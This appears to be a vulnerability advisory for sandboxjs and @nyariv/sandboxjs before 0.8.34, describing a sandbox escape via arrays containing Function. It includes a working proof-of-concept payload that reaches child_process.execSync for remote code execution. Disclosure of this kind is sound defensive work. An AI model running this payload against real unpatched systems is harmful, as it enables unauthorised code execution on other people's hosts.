| Package | Affected versions | Patched versions |
|---|---|---|
| sandboxjs | < 0.8.34 | 0.8.34 |
| @nyariv/sandboxjs | < 0.8.34 | 0.8.34 |
It is possible to obtain arrays containing Function, which allows escaping the sandbox.
There are various ways to get an array containing Function, e.g.
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();
Sandbox Escape -> RCE
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free